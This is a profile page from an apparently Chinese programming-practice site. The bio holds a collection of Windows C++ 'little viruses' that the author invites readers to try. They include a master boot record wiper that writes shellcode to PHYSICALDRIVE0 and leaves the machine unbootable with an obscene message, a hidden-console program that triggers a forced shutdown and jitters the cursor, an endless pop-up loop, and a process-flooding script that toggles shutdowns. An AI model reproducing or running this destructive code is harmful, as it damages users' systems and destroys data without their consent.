-
个人简介
一些小病毒
//让鼠标“鸡飞狗跳” #include<windows.h> #include<bits/stdc++.h> using namespace std; int main() { system("Shutdown -s -t 60"); HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); while(1)cout<<"Oh!!!"<<endl&&SetCursorPos(rand()%x,rand()%y); } //清除MBR,会显示 Fuck you ^_^ //:-(慎用!) #include <windows.h> #include <winioctl.h> unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; /* 00000000 B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480) 00000003 CD10 int 10h ; 进入图形显示方式,隐藏光标 00000005 BD187C mov bp, Msg ; ES:BP = 串地址 00000008 B91800 mov cx, 18h ; CX = 串长度 0000000B B80113 mov ax, 1301h ; AH = 13, AL = 01h 0000000E BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮) 00000011 BA1D0E mov dx, 0e1dh ; dh行, dl列 00000014 CD10 int 10h ; 10h 号中断 00000016 E2FE loop $ Msg: db " Fuck you ^_^ :-)" */ int main() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = { 0 }; memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( L"\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); return 0; } //无限弹窗 #include <windows.h> #pragma comment (lib, "User32.lib") int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ while(1){ MessageBox(NULL, TEXT("关不掉吧!"), TEXT("中病毒啦~~你这个SB!"), MB_OK); } return 0; } //显示变红 #include<windows.h> #include<bits/stdc++.h> using namespace std; int main() { system("color 40"); } //显示多个文件(强大) #include<iostream> #include<windows.h> #include<stdio.h> #include<fstream> using namespace std; int main() { system("color 8F"); int result = MessageBox(MB_APPLMODAL,"请问是否要启动该程序?若启动,会占用较大cpu,此程序无毒!","来自小程序猿的温馨提示",MB_ICONASTERISK|MB_YESNO); if (result == IDNO) { return 0; } else { int x,y; for (int a=0;a<10000;a++) { x = rand()%801; y = rand()%601; SetCursorPos(x,y); } for (int b=0;b<3;b++) { system("start notepad"); system("start calc"); system("start winver"); system("start cmd"); system("start Nslookup"); system("start "); system("start cleanmgr"); system("start charmap"); system("start calc"); system("start calc"); system("start dxdiag"); system("start cmd"); system("start cmd"); system("start cmd"); system("start taskmgr"); system("start "); system("start wiaacmgr"); system("start mspaint"); system("start mmc"); system("start "); } system("start dxdiag"); Sleep(2000); system("taskkill /im notepad.exe") ; system("taskkill /im calc.exe") ; system("taskkill /im dxdiag.exe") ; system("taskkill /im winver.exe") ; system("taskkill /im cmd.exe") ; system("taskkill /im Nslookup.exe") ; system("taskkill /im cleanmgr.exe") ; system("taskkill /im charmap.exe") ; system("taskkill /im taskmgr.exe") ; system("taskkill /im wiaacmgr.exe") ; system("taskkill /im mspaint.exe") ; system("taskkill /im mmc.exe") ; for (int c=0;c<5;c++) { system("start notepad"); } system("taskkill /im notepad.exe") ; for (int d=0;d<5;d++) { system("start calc"); } system("taskkill /im calc.exe") ; for (int l=0;l<10;l++) { system("start calc"); } system("taskkill /im calc.exe") ; for (int m=0;m<15;m++) { system("start calc"); } system("taskkill /im calc.exe") ; for (int f=0;f<20;f++) { system("start calc"); } system("taskkill /im calc.exe") ; for (int n=0;n<10;n++) { system("start calc"); } system("taskkill /im calc.exe") ; for (int q=0;q<15;q++) { system("start cmd"); } system("taskkill /im cmd.exe") ; for (int r=0;r<20;r++) { system("start taskmgr"); } system("taskkill /im taskmgr.exe") ; for (int g=0;g<10;g++) { system("start mmc"); } for (int h=0;h<10;h++) { system("start "); } ofstream out; out.open("eason.bat"); out<<"dir/s"; out.close(); for (int i=0;i<5;i++) { system("start eason.bat"); } ofstream oo; oo.open("eason2.bat"); oo<<"tree"; oo.close(); for (int j=0;j<5;j++) { system("start eason2.bat"); } //接下来我要把程序都关了 system("taskkill /im taskmgr.exe") ; system("taskkill /im mmc.exe") ; system("taskkill /im /f cmd.exe") ; system("taskkill /im cmd.exe") ; system("taskkill /im calc.exe") ; for (int k=0;k<10000;k++) { x = rand()%801; y = rand()%601; SetCursorPos(x,y); } ofstream o; o.open("easo.txt"); o<<"(づ ̄3 ̄)づ╭?~"<<'\n'<<"程序到此便结束了ヾ(=?ω?=)o"<<'\n'<<"制作者:小程序猿"<<'\n'<<"bye!"<<'\a'; o.close(); system("start easo.txt"); for (int p =0;p<5;p++) { system("shutdown -s"); Sleep(100); system("shutdown -a"); } remove("eason.bat"); remove("eason2.bat"); remove("easo.txt"); result = MessageBox(MB_APPLMODAL,"程序已结束!","来自***的温馨提示",MB_ICONASTERISK|MB_OK); return 0; } }
可以尝试, 编编已经尝试过了,差点死机
-
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
This person is lazy and didn't write any solutions.
题目标签
- 客观题
- 1